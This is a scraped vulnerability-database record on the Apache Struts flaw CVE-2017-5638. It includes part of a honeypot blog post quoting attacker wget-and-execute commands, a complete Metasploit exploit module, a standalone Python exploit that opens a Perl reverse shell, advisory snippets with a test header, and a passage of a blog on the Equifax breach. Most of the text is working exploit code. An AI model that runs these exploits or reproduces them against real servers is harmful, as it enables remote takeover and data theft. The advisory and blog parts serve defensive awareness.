src=\"https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-7817-65881/pastedImage_1.png\" style=\"width: 620px; height: 516px; margin-left: auto; margin-right: auto; display: block;\" width=\"877\"/></a></p><p style=\"min-height: 8pt; padding: 0px;\"> </p><p>The first malicious requests we saw were a pair on Tuesday, March 7th at 15:36 UTC that originated from a host in Zhengzhou, China. Both were HTTP GET requests for <strong>/index.aciton</strong> (misspelled) and the commands that they executed would have caused a vulnerable target to download binaries from the attacking server. Here is an example of the commands that were sent as a single string in the Content-Type value:</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><pre class=\"xml\" name=\"code\">cd /dev/shm;\nwget http://XXX.XXX.XXX.92:92/lmydess;\nchmod 777 lmydess;\n./lmydess;\n</pre><div style=\"display:none;\"></div><p style=\"min-height: 8pt; padding: 0px;\"> </p><p>I've broken the command into lines to make it easier to read. It's pretty standard for a command injection or remote code execution attack against web servers. Basically, move to some place writeable, download code, make sure its executable, and run it.</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><p>After this, the malicious traffic seemed to stop until Wednesday, March 8th at 09:02 UTC when a host in Shanghai, China started sending attacks. The requests differed from the previous attacks. The new attacks were HTTP POSTs to a couple different paths and attempted to execute different commands on the victim:</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><pre class=\"plain\" name=\"code\">/etc/init.d/iptables stop;\nservice iptables stop;\nSuSEfirewall2 stop;\nreSuSEfirewall2 stop;\ncd /tmp;\nwget -c http://XXX.XXX.XXX.26:9/7;\nchmod 777 7;\n./7;\n</pre><div style=\"display:none;\"></div><p style=\"min-height: 8pt; padding: 0px;\"> </p><p>This is similar to the prior commands but this attacker tries to stop the firewall first. The requested binary was not hosted on the same IP address that attacked the honeypot. In this case the server hosting the binary was still alive and we were able to <a class=\"jive-link-external-small\" href=\"https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fwww.virustotal.com%2Fen%2Ffile%2F98bd48f1574a891b5ae8dff726671255e10b4b30c2f562f3edc5f6f89f35804d%2Fanalysis%2F\" rel=\"nofollow\" target=\"_blank\">capture a sample</a>.  It appears to be a variant of the XOR DDoS family.</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><h2>Not so innocent</h2><p>Much like Talos, in addition to the attempts to spread malware, we see some exploitation of the vulnerability to run \"harmless\" commands such as <strong>whois</strong>, <strong>ifconfig</strong>, and a couple variations that echoed a value. The word harmless is in quotes because though the commands weren't destructive they could have allowed the originator of the request to determine if the target was vulnerable. They may be part of a research effort to understand the number of vulnerable hosts on the public Internet or an information gathering effort as part of preparation for a later attack. Irrespective of the reason, network and system owners should review their environments.</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><h2>A little sunshine</h2><p>Based on the traffic we are seeing <strong>at this time</strong> it would appear that the bulk of the non-targeted malicious traffic appears to be limited attacks from a couple of sources. This could change significantly tomorrow if attackers determine that there is value in exploiting this vulnerability. If you are using Apache Struts this would be a great time to review Apache's <a class=\"jive-link-external-small\" href=\"https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fcwiki.apache.org%2Fconfluence%2Fdisplay%2FWW%2FS2-045\" rel=\"nofollow\" target=\"_blank\">documentation</a> on the vulnerability and then survey your environment for vulnerable hosts. Remember that Apache products are often bundled with other software so you may have vulnerable hosts of which you are unaware. Expect Nexpose and Metasploit coverage to be available soon to help with detection and validation efforts. If you do have vulnerable implementations of the software in your environment, I would strongly recommend upgrading as soon as safely possible. If you cannot upgrade immediately, you may wish to investigate other mitigation efforts such as changing firewall rules or network equipment ACLs to reduce risk. As always, it's best to avoid exposing services to public networks if at all possible.</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><p>Good luck!</p></div>", "cvss3": {}, "published": "2017-03-15T14:29:55", "title": "Apache Struts Vulnerability (CVE-2017-5638) Exploit Traffic", "type": "rapid7community", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-15T14:29:55", "href": "https://community.rapid7.com/community/infosec/blog/2017/03/09/apache-jakarta-vulnerability-attacks-in-the-wild", "id": "RAPID7COMMUNITY:078B46BBA3057CDE37845D48479CC3DD", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "zdt": [{"lastseen": "2018-03-20T05:11:11", "description": "This Metasploit module exploits a remote code execution vulnerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk.", "cvss3": {}, "published": "2017-03-15T00:00:00", "type": "zdt", "title": "Apache Struts Jakarta Multipart Parser OGNL Injection Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-15T00:00:00", "id": "1337DAY-ID-27316", "href": "https://0day.today/exploit/description/27316", "sourceData": "##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::EXE\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',\r\n 'Description' => %q{\r\n This module exploits a remote code execution vunlerability in Apache Struts\r\n version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed\r\n via http Content-Type header.\r\n\r\n Native payloads will be converted to executables and dropped in the\r\n server's temp dir. If this fails, try a cmd/* payload, which won't\r\n have to write to the disk.\r\n },\r\n 'Author' => [\r\n 'Nike.Zheng', # PoC\r\n 'Nixawk', # Metasploit module\r\n 'Chorder', # Metasploit module\r\n 'egypt', # combining the above\r\n 'Jeffrey Martin', # Java fu\r\n ],\r\n 'References' => [\r\n ['CVE', '2017-5638'],\r\n ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']\r\n ],\r\n 'Privileged' => true,\r\n 'Targets' => [\r\n [\r\n 'Universal', {\r\n 'Platform' => %w{ unix windows linux },\r\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\r\n },\r\n ],\r\n ],\r\n 'DisclosureDate' => 'Mar 07 2017',\r\n 'DefaultTarget' => 0))\r\n\r\n register_options(\r\n [\r\n Opt::RPORT(8080),\r\n OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),\r\n ]\r\n )\r\n register_advanced_options(\r\n [\r\n OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])\r\n ]\r\n )\r\n\r\n @data_header = \"X-#{rand_text_alpha(4)}\"\r\n end\r\n\r\n def check\r\n var_a = rand_text_alpha_lower(4)\r\n\r\n ognl = \"\"\r\n ognl << %q|(#[email\u00a0protected]@getProperty('os.name')).|\r\n ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|\r\n\r\n begin\r\n resp = send_struts_request(ognl)\r\n rescue Msf::Exploit::Failed\r\n return Exploit::CheckCode::Unknown\r\n end\r\n\r\n if resp && resp.code == 200 && resp.headers[var_a]\r\n vprint_good(\"Victim operating system: #{resp.headers[var_a]}\")\r\n Exploit::CheckCode::Vulnerable\r\n else\r\n Exploit::CheckCode::Safe\r\n end\r\n end\r\n\r\n def exploit\r\n case payload.arch.first\r\n #when ARCH_JAVA\r\n # datastore['LHOST'] = nil\r\n # resp = send_payload(payload.encoded_jar)\r\n when ARCH_CMD\r\n resp = execute_command(payload.encoded)\r\n else\r\n resp = send_payload(generate_payload_exe)\r\n end\r\n\r\n require'pp'\r\n pp resp.headers if resp\r\n end\r\n\r\n def send_struts_request(ognl, extra_header: '')\r\n uri = normalize_uri(datastore[\"TARGETURI\"])\r\n content_type = \"%{(#_='multipart/form-data').\"\r\n content_type << \"(#[email\u00a0protected]@DEFAULT_MEMBER_ACCESS).\"\r\n content_type << \"(#_memberAccess?\"\r\n content_type << \"(#_memberAccess=#dm):\"\r\n content_type << \"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\"\r\n content_type << \"(#ognlUtil=#container.getInstance(@[email\u00a0protected])).\"\r\n content_type << \"(#ognlUtil.getExcludedPackageNames().clear()).\"\r\n content_type << \"(#ognlUtil.getExcludedClasses().clear()).\"\r\n content_type << \"(#context.setMemberAccess(#dm)))).\"\r\n content_type << ognl\r\n content_type << \"}\"\r\n\r\n headers = { 'Content-Type' => content_type }\r\n if extra_header\r\n headers[@data_header] = extra_header\r\n end\r\n\r\n #puts content_type.gsub(\").\", \").\\n\")\r\n #puts\r\n\r\n resp = send_request_cgi(\r\n 'uri' => uri,\r\n 'method' => datastore['HTTPMethod'],\r\n 'headers' => headers\r\n )\r\n\r\n if resp && resp.code == 404\r\n fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')\r\n end\r\n resp\r\n end\r\n\r\n def execute_command(cmd)\r\n ognl = ''\r\n ognl << %Q|(#[email\u00a0protected]@getRequest().getHeader('#{@data_header}')).|\r\n\r\n # You can add headers to the server's response for debugging with this:\r\n #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|\r\n #ognl << %q|(#r.addHeader('decoded',#cmd)).|\r\n\r\n ognl << %q|(#[email\u00a0protected]@getProperty('os.name')).|\r\n ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|\r\n ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|\r\n ognl << %q|(#p.redirectErrorStream(true)).|\r\n ognl << %q|(#process=#p.start())|\r\n\r\n send_struts_request(ognl, extra_header: cmd)\r\n end\r\n\r\n def send_payload(exe)\r\n\r\n ognl = \"\"\r\n ognl << %Q|(#[email\u00a0protected]@getRequest().getHeader('#{@data_header}')).|\r\n ognl << %Q|(#[email\u00a0protected]@createTempFile('#{rand_text_alpha(4)}','.exe')).|\r\n #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|\r\n #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|\r\n ognl << %q|(#f.setExecutable(true)).|\r\n ognl << %q|(#f.deleteOnExit()).|\r\n ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|\r\n\r\n # Using stuff from the sun.* package here means it likely won't work on\r\n # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to\r\n # work and I don't see a better way of getting binary data onto the\r\n # system. =/\r\n ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|\r\n ognl << %q|(#fos.write(#d)).|\r\n ognl << %q|(#fos.close()).|\r\n\r\n ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|\r\n ognl << %q|(#p.start()).|\r\n ognl << %q|(#f.delete())|\r\n\r\n send_struts_request(ognl, extra_header: [exe].pack(\"m\").delete(\"\\n\"))\r\n end\r\n\r\nend\r\n\r\n=begin\r\nDoesn't work:\r\n\r\n ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|\r\n ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|\r\n ognl << %q|(#[email\u00a0protected]@getMethods(#c,'main',true).get(0)).|\r\n ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|\r\n ognl << %q|(#m.invoke(null,null)).|\r\n\r\n #ognl << %q|(#m=#c.getMethod('run',@[email\u00a0protected]('java.lang.Object'))).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',@[email\u00a0protected]('java.lang.String'))).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',@[email\u00a0protected]('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',@[email\u00a0protected]('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@[email\u00a0protected]('java.lang.Object')})).|\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@[email\u00a0protected]('java.lang.String')})).|\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@[email\u00a0protected]('java.lang.String')})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@[email\u00a0protected]('[Ljava.lang.Object;')})).|\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@[email\u00a0protected]('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@[email\u00a0protected]('java.lang.Object')})).|\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@[email\u00a0protected]('java.lang.String')})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@[email\u00a0protected]('[Ljava.lang.Object;')})).|\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@[email\u00a0protected]('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed\r\n #ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n\r\n #ognl << %q|(#m=#c.getMethod('main',@[email\u00a0protected]('java.lang.Object'))).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',@[email\u00a0protected]('java.lang.String'))).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',@[email\u00a0protected]('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',@[email\u00a0protected]('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@[email\u00a0protected]('java.lang.Object')})).|\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@[email\u00a0protected]('java.lang.String')})).|\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@[email\u00a0protected]('[Ljava.lang.Object;')})).|\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@[email\u00a0protected]('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@[email\u00a0protected]('java.lang.Object')})).|\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@[email\u00a0protected]('java.lang.String')})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@[email\u00a0protected]('[Ljava.lang.Object;')})).|\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@[email\u00a0protected]('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed\r\n #ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: [email\u00a0protected]\r\n\r\n=end\n\n# 0day.today [2018-03-20] #", "sourceHref": "https://0day.today/exploit/27316", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-03-20T03:15:54", "description": "Apache Struts 2 versions 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 remote code execution exploit that provides a reverse shell.#### Usage Info\nTested with tomcat8\r Install tomcat8\r Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638\r Ex:\r Open: $ nc -lnvp 4444\r python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444\r python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --test\r python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --cmd='uname -a'", "cvss3": {}, "published": "2017-03-12T00:00:00", "type": "zdt", "title": "Apache Struts 2 2.3.x / 2.5.x Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-12T00:00:00", "id": "1337DAY-ID-27300", "href": "https://0day.today/exploit/description/27300", "sourceData": "# CVE-2017-5638\r\n# Apache Struts 2 Vulnerability Remote Code Execution\r\n# Reverse shell from target\r\n# Author: anarc0der - github.com/anarcoder\r\n# Tested with tomcat8\r\n\r\n# Install tomcat8\r\n# Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638\r\n\r\n# Ex:\r\n# Open: $ nc -lnvp 4444\r\n# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444\r\n# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --test\r\n# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --cmd='uname -a'\r\n\r\n\r\n\"\"\"\r\nUsage:\r\n struntsrce.py --target=<arg> --test\r\n struntsrce.py --target=<arg> --cmd=<arg>\r\n struntsrce.py --target=<arg> --ip=<arg> --port=<arg>\r\n struntsrce.py --help\r\n struntsrce.py --version\r\nOptions:\r\n -h --help Open help menu\r\n -v --version Show version\r\nRequired options:\r\n --target='url target' your target :)\r\n --test check if target is vulnerable or not\r\n --cmd='uname -a' your command to execute in target\r\n --ip='10.10.10.1' your ip\r\n --port=4444 open port for back connection\r\n\"\"\"\r\n\r\nimport urllib2\r\nimport httplib\r\nimport os\r\nimport sys\r\nfrom docopt import docopt, DocoptExit\r\n\r\n\r\nclass CVE_2017_5638():\r\n\r\n def __init__(self, p_target):\r\n self.target = p_target\r\n # self.ip = p_ip\r\n # self.port = p_port\r\n # self.exploit()\r\n\r\n def generate_revshell(self, p_ip, p_port):\r\n revshell = \"perl -e \\\\'use Socket;$i=\\\"{0}\\\";$p={1};\"\\\r\n \"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\"tcp\\\"));\"\\\r\n \"if(connect(S,sockaddr_in($p,inet_aton($i)))){{open\"\\\r\n \"(STDIN,\\\">&S\\\");open(STDOUT,\\\">&S\\\");\"\\\r\n \"open(STDERR,\\\">&S\\\");exec(\\\"/bin/sh -i\\\");}};\\\\'\"\r\n return revshell.format(p_ip, p_port)\r\n\r\n def generate_payload(self, p_cmd):\r\n payload = \"%{{(#_='multipart/form-data').\"\\\r\n \"(#[email\u00a0protected][email\u00a0protected]_MEMBER_ACCESS).\"\\\r\n \"(#_memberAccess?\"\\\r\n \"(#_memberAccess=#dm):\"\\\r\n \"((#container=#context['com.opensymphony.xwork2.\"\\\r\n \"ActionContext.container']).\"\\\r\n \"(#ognlUtil=#container.getInstance(@com.opensymphony.\"\\\r\n \"[email\u00a0protected])).\"\\\r\n \"(#ognlUtil.getExcludedPackageNames().clear()).\"\\\r\n \"(#ognlUtil.getExcludedClasses().clear()).\"\\\r\n \"(#context.setMemberAccess(#dm)))).\"\\\r\n \"(#cmd='{0}').\"\\\r\n \"(#iswin=(@[email\u00a0protected]('os.name').\"\\\r\n \"toLowerCase().contains('win'))).\"\\\r\n \"(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:\"\\\r\n \"{{'/bin/bash','-c',#cmd}})).\"\\\r\n \"(#p=new java.lang.ProcessBuilder(#cmds)).\"\\\r\n \"(#p.redirectErrorStream(true)).(#process=#p.start()).\"\\\r\n \"(#ros=(@[email\u00a0protected]\"\\\r\n \"Response().getOutputStream())).\"\\\r\n \"(@[email\u00a0protected]\"\\\r\n \"(#process.getInputStream(),#ros)).(#ros.flush())}}\"\r\n return payload.format(p_cmd)\r\n\r\n def send_xpl(self, p_payload):\r\n body = ''\r\n try:\r\n # Set proxy for debug request, just uncomment these lines\r\n # Change the proxy port\r\n\r\n #proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8081'})\r\n #opener = urllib2.build_opener(proxy)\r\n #urllib2.install_opener(opener)\r\n\r\n headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)'\r\n ' AppleWebKit/537.36 (KHTML, like Gecko)'\r\n ' Chrome/55.0.2883.87 Safari/537.36',\r\n 'Content-Type': p_payload}\r\n xpl = urllib2.Request(self.target, headers=headers)\r\n body = urllib2.urlopen(xpl, timeout=5).read()\r\n except httplib.IncompleteRead as b:\r\n body = b.partial\r\n except:\r\n pass\r\n return body\r\n\r\n def os_detect(self):\r\n cmd = 'uname'\r\n resp = self.send_xpl(self.generate_payload(cmd))\r\n if 'Linux' in resp or 'Darwin' in resp:\r\n print '[+] Unix-like OS system detected.\\n'\r\n else:\r\n print '[+] Windows OS system detected.\\n'\r\n\r\n def test_vuln(self):\r\n cmd = 'hacked'\r\n print '\\n[+] Testing ' + self.target\r\n resp = self.send_xpl(self.generate_payload(cmd))\r\n tags = ['<html', '<head', '<body', '<script', '<div']\r\n if any(tag not in resp.lower() for tag in tags) and cmd in resp:\r\n print '[+] Target possibly vulnerable'\r\n print '[+] Finger printing OS system..'\r\n self.os_detect()\r\n else:\r\n print '[-] Target not vulnerable\\n'\r\n sys.exit(0)\r\n\r\n def exec_cmd(self, p_cmd):\r\n print '\\n[+] Target: {0}'.format(self.target)\r\n print '[+] Executing: {0}\\n\\n'.format(p_cmd)\r\n resp = self.send_xpl(self.generate_payload(p_cmd))\r\n print resp\r\n\r\n def exec_revshell(self, p_ip, p_port):\r\n print '\\n[+] Target: {0}'.format(self.target)\r\n print '[+] Dont forget to listen on port: {0}'.format(p_port)\r\n print '[+] Attempting reverse shell...\\n'\r\n\r\n self.send_xpl(self.generate_payload(\r\n self.generate_revshell(p_ip, p_port)))\r\n\r\n\r\ndef main():\r\n try:\r\n arguments = docopt(__doc__, version=\"Apache Strunts RCE Exploit\")\r\n target = arguments['--target']\r\n test = arguments['--test']\r\n cmd = arguments['--cmd']\r\n ip = arguments['--ip']\r\n port = arguments['--port']\r\n\r\n except DocoptExit as e:\r\n os.system('python2 struntsrce.py --help')\r\n sys.exit(1)\r\n\r\n x = CVE_2017_5638(target)\r\n if test:\r\n x.test_vuln()\r\n if cmd:\r\n x.exec_cmd(cmd)\r\n if ip and port:\r\n x.exec_revshell(ip, port)\r\n\r\n\r\nif __name__ == '__main__':\r\nmain()\n\n# 0day.today [2018-03-20] #", "sourceHref": "https://0day.today/exploit/27300", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "seebug": [{"lastseen": "2017-11-19T12:05:43", "description": "It is possible to perform a RCE attack with a malicious Content-Disposition value or with improper Content-Length header. If the Content-Dispostion / Content-Length value is not valid an exception is thrown which is then used to display an error message to a user. This is a different vector for the same vulnerability described in [S2-045](https://cwiki.apache.org/confluence/display/WW/S2-045) (CVE-2017-5638).", "cvss3": {}, "published": "2017-03-21T00:00:00", "type": "seebug", "title": "S2-046: Struts 2 Remote Code Execution vulnerability\uff08CVE-2017-5638\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-21T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-92804", "id": "SSV:92804", "sourceData": "", "sourceHref": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-11-19T12:01:16", "description": "Based on the Jakarta plugin plugin Struts remote code execution vulnerability, a malicious user can upload a file by modifying the HTTP request header Content-Type value to trigger the vulnerability, and then execute the system command.\n\nSound detection method(the detection method by the constant company): the In to the server to issue the http request packet, modify the Content-Type field: `Content-Type:%{#context['com. opensymphony. xwork2. dispatcher. HttpServletResponse']. addHeader('vul','vul')}. multipart/form-data`\n\nSuch as the return response packets in the presence of vul: the vul field entry then indicates the presence of vulnerability.\n", "cvss3": {}, "published": "2017-03-06T00:00:00", "type": "seebug", "title": "S2-045: Struts 2 Remote Code Execution vulnerability\uff08CVE-2017-5638\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-06T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-92746", "id": "SSV:92746", "sourceData": "", "sourceHref": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "trendmicroblog": [{"lastseen": "2018-09-07T13:45:17", "description": "![](https://blog.trendmicro.com/wp-content/uploads/2018/09/iStock-913014396-300x169.jpg)\n\nOne year ago today, Equifax suffered what remains one of the largest and most impactful data breaches in U.S. history. Last September, it was revealed that the personal information of [145 million Americans](<https://www.equifaxsecurity2017.com/frequently-asked-questions/>), almost [700,000 UK citizens](<https://www.equifax.co.uk/incident.html>), and [19,000 Canadians](<https://www.cbc.ca/news/business/equifax-canadians-affected-update-1.4424066>) was stolen by cybercriminals.\n\nThis information included names, addresses, birthdays, Social Security numbers, and\u2014in some cases\u2014driver's licenses. All critical, personally identifiable information (PII) that can resold in the underground and used to commit identity fraud.\n\nThis breach had very real impact on the millions affected. On Equifax? Or the industry as a whole? Not so much\u2026\n\nThe result is that your personal information remains \"entrusted\" with various agencies without your knowledge. Agencies that may or may not have your best interests at heart. A year after the Equifax breach, your data has never been at greater risk. **Why?**\n\nThe Equifax breach made international headlines for weeks. It's a story that has corporate intrigue, political uproar, and controversy\u2026yet nothing really has changed.\n\n## What Happened?\n\nCybercriminals gained access to Equifax's systems through a [known vulnerability](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>) in Apache Struts (a web application framework). This easily exploited vulnerability has been left unpatched and unmitigated by Equifax for weeks.\n\nWhen Equifax discovered the breach, they waited weeks to notify affected individuals and the general public. That notification came in the form of an insecure site on a new domain name. This contributed to the [criticism](<https://en.wikipedia.org/wiki/Equifax#Criticism>) the company faced as they bumbled the response.\n\n[The saga](<https://en.wikipedia.org/wiki/Equifax#May\u2013July_2017_data_breach>) took a number of twists and unexpected turns as [executives were accused](<https://www.theglobeandmail.com/business/international-business/us-business/article-former-equifax-employee-charged-in-us-with-insider-trading/>) of [insider trading](<https://www.theguardian.com/business/2018/mar/14/equifax-insider-trading-data-breach-jun-ying-charged>), having sold shared valued at $1.8 million dollars after the breach was discovered but before the public announcement. The [CIO and CISO](<https://techcrunch.com/2017/09/15/equifax-security-and-information-executives-are-stepping-down/>) stepped down in the wake of the breach. As the company continued to see pushback, political and consumer frustration, the [CEO eventually resigned](<https://www.npr.org/2017/09/26/553799200/equifax-ceo-richard-smith-resigns-after-backlash-over-massive-data-breach>) allowing the company to try and turn the page.\n\nAfter all, Equifax had the tools, people, and process in place to prevent the breach but simply dropped the ball\u2026with catastrophic results.\n\n## Customers?\n\nOne of the biggest challenges in light of this breach was the relationship that Equifax had with the affected individuals. Equifax maintained a significant amount of [personally identifiable information](<https://en.wikipedia.org/wiki/Personally_identifiable_information>) on hundreds of millions of individuals in the US and around the world yet very few of these individuals had a direct relationship with the company.\n\nEquifax and a handful of other [consumer credit reporting agencies](<https://www.thebalance.com/who-are-the-three-major-credit-bureaus-960416>) make their money by selling customer profiles and credit ratings to other business, essentially acting as massive reputation clearing houses.\n\nGiven the role played by these agencies, individuals in the US have alarmingly few actions they can take in recourse to an error or breach of their information in care of such an agency. This was a key point raised in the uproar after the Equifax breach.\n\nOne year later, let's check in on the progress made so far\u2026\n\n## Lack of Personal Data Protections\n\nAlarmingly, there has been no federal action and only one state has passed legislation regarding personal data protections since the Equifax breach.\n\nIn June, California passed the California Consumer Privacy Act of 2018 ([AB 375](<https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=201720180AB375>)). This landmark legislation takes a much needed step towards personal data protections in the state of California. While not [the driving factor](<https://www.nytimes.com/2018/05/13/business/california-data-privacy-ballot-measure.html>) for the legislation, the breach contributed to awareness of the need for such protections.\n\nThis protects Californian's in a similar manner to European's under GDPR. If 